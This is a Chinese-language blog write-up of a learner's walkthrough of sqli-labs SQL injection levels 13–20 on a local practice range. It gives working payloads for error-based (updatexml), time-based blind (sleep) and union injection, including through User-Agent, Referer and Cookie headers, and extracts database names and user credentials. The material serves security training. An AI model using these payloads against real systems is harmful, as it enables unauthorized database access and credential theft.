前言:SQL注入必须要拿下,所以继续学习并在靶场实验。有些关卡学习新的知识点,都在中间穿插着。比如18,19关等。

Less-13

判断闭合符号,输入一个反斜扛\来试试
在这里插入图片描述
可以看出是')闭合,然后开始注入
第一种、基于报错的注入
先抓包,然后send to repeater
构造SQL语句

uname=admin') and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+&passwd=admin&submit=Submit

在这里插入图片描述
这个报错语句是我刚学的,个人认为比较好记哈。
然后进行表的查询

uname=admin') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1) --+&passwd=admin&submit=Submit

还是利用limit来控制查询的表。一步一步找到我们想要的users
在这里插入图片描述

其他的不再重复。参考第十一关。

Less-14

依旧是判断闭合符号,输入一个反斜扛,看到是双引号闭合。
在这里插入图片描述
其他没什么,就跟上一关一样了。
抓包,构造SQL语句

uname=admin" and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+&passwd=admin&submit=Submit

不再重复。

Less-15

输入反斜扛进行判断,发现没有回显,考虑是时间型盲注。
先抓包,发送Repeater慢慢注。
先Go一下,发现加载页面加载了1秒左右,然后构造SQL语句

uname=admin' and 1=1--+&passwd=admin&submit=Submit //登录成功了,可以说明是单引号闭合

构造payload

uname=admin' and sleep(5) --+&passwd=admin&submit=Submit

在这里插入图片描述

然后可以构造其他的语句来判断并爆出数据库名(一步一步来是真累)。
判断数据库名长度

uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit

判断数据库名

uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit

判断表名

uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit

limit一个一个查出我想要的表名,

uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit

在这里插入图片描述

判断列名

uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit

爆值


uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit

Less-16

又是没有回显,所以时间型盲注,要做的就是判断闭合符号。其他的都与上一关一样。
在这里插入图片描述

判断完毕,是")闭合。
其他不再重复。

Less-17

好像是没见过的,emmmmm,然后看了眼标题,(基于错误的更新查询POST注入),报错注入。反斜扛也没有回显。我试了盲注
在这里插入图片描述

好像没有思路了。
这一关还是跟着大佬的博客来学习吧。
看下源码,然而,就能看懂几句。

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

这个看了大佬的博客

只截取15个字符
get_magic_quotes_gpc()
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
在magic_quotes_gpc = On的情况下,如果输入的数据有
单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。
stripslashes()删除由 addslashes() 函数添加的反斜杠
ctype_digit()判断是不是数字,是数字就返回true,否则返回false
mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
intval() 整型转换

不好意思抄,还是把大佬的博客放这里——>关于Less-17关
这个是对uname进行了一大堆过滤,反而password没有做什么措施所以可以从第二个框里入手插SQL语句。
试一下,是对的。
在这里插入图片描述

但是他这个要考验的内容是什么??我感觉应该是多方面考虑,不要将思维固化,尝试换个角度思考问题可能会有意想不到的结果。
其他的不再重复。

Less-18

在这里插入图片描述

一上来给我个IP什么意思?靶场是搭建在虚拟机上的。看一下那个标题。
(header injection Uagent)
一看这个我就明白了,哈。我之前看过这个,前几天看过两个关于注入的注入点比较不平常的,没想到在靶场会有。哈,正好练练手。我这个还记笔记了,在印象笔记上,先搬过来再说

HTTP中User-Agent注入
$insert="INSERT INTO'security'.'uagents'('uagent','ip_address','username') VALUES ('$uagent','$IP',$uname)";
payload内容
updatexml(xml_document,xpath_string,new_value);
第一个参数:XML文档对象名称。//可以用数字代替
第二个参数:XPath字符串。
第三个参数:替换查找到的符合条件的数据。
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1      //查询当前版本信息
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1   //查询当前数据库名。其他以此类推。

因为这个唯一跟之前不同的就是它的注入点变了,语句什么的还是老样子。先抓包看一下。,抓到了,要插入SQL语句就在这个地方插入就可以。
在这里插入图片描述

先看看当前版本信息

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

在这里插入图片描述

版本信息出来了,这个时候就证明是可行的,所以直接构造得出数据库名的payload就可以了。

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

在这里插入图片描述

下面就很正常了,按照报错注入的程序来走就行了。不再重复。

Less-19

我看了标题,emmmm,是在Referer处进行注入,

HTTP Referer注入
‘ or ‘1’=’1 //查询是否存在注入
‘ or (length(database()))>8 or if(1=1,sleep(5),null) or ‘1’=’1 //通过一个一个查询信息得到我们想要的结果。过程繁杂。

emmm这个也是我的笔记,我的笔记当时记录的时候是以一个基于盲注的注入例题来记录的,当然这里有回显,就不是盲注。反而变得简单了点。
可以看出这个是在Referer处插入语句,但是比较复杂。
看一下,当然是先抓包,
在这里插入图片描述

在这里插入SQL语句
先判断是否存在注入,' or '1'='1
有点多余哈,(在这里),不过在实战中还是需要这一步。
然后可以构造查询语句来得到我们想要的结果。

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

在这里插入图片描述

没有什么其他的新的知识点,不再重复。

Less-20

先试一下,还是老样子,全输入admin,然后看。
我透?这啥鬼东西,cookie都整出来了。
在这里插入图片描述

不过,想想前两关的套路,这个难道是在cookie处进行注入吗?
试试。我透!!为啥跟刚才不一样了,同样是输入的admin啊,再说了,这在哪插??(我tm直接懵逼.jpg)
在这里插入图片描述

再想想,我刚好想进行了一个不为人知的操作,就是下面这个
在这里插入图片描述

我明白了,他会变样是因为我把cookie删了,然后浏览器就没有完成一系列的流程,所以在burp里显示不出来,这次我不删了,直接刷新,
在这里插入图片描述

嘿嘿,找到了,在这里注入就好啦,
这个详细记录一下:

普通方法

先判断闭合符号,加个单引号试试,发现有报错,那就是单引号闭合了。
在这里插入图片描述

判断列数payload

uname=admin' order by 1 --+

在这里插入图片描述

然后到4就回显错误了

uname=admin' order by 4 --+

在这里插入图片描述

然后爆数据库payload

uname=-admin' union select 1,2,database()--+

在这里插入图片描述

联合查询的特点不能忘了,要将前面的uname=-admin,这个要构造成错的。然后继续的话,跟第一关一样了,没什么要注意的了。

第二种方法:报错注入

已知单引号闭合,所以直接使用报错注入常用函数进行查询数据库名
查询数据库名构造payload

uname=admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

在这里插入图片描述

都是一个样子,做了这二十关的题,收获很多,不过毕竟手注太费劲了,费时费力,要学使用工具了,python脚本不会写,可以使用工具,sqlmap是个不错的选择,就搞它。下次再学习SQL注入就要进行sqlmap的学习了,前段时间多少了解了一点,现在只会用sqlmap进行第一关的爆破,其他的注入也见过,知道方法但是没有实践,还是回头再细学一下再说吧。

文末寄语:
这世上多一个人笑,就少一个人哭。——《煎饼侠》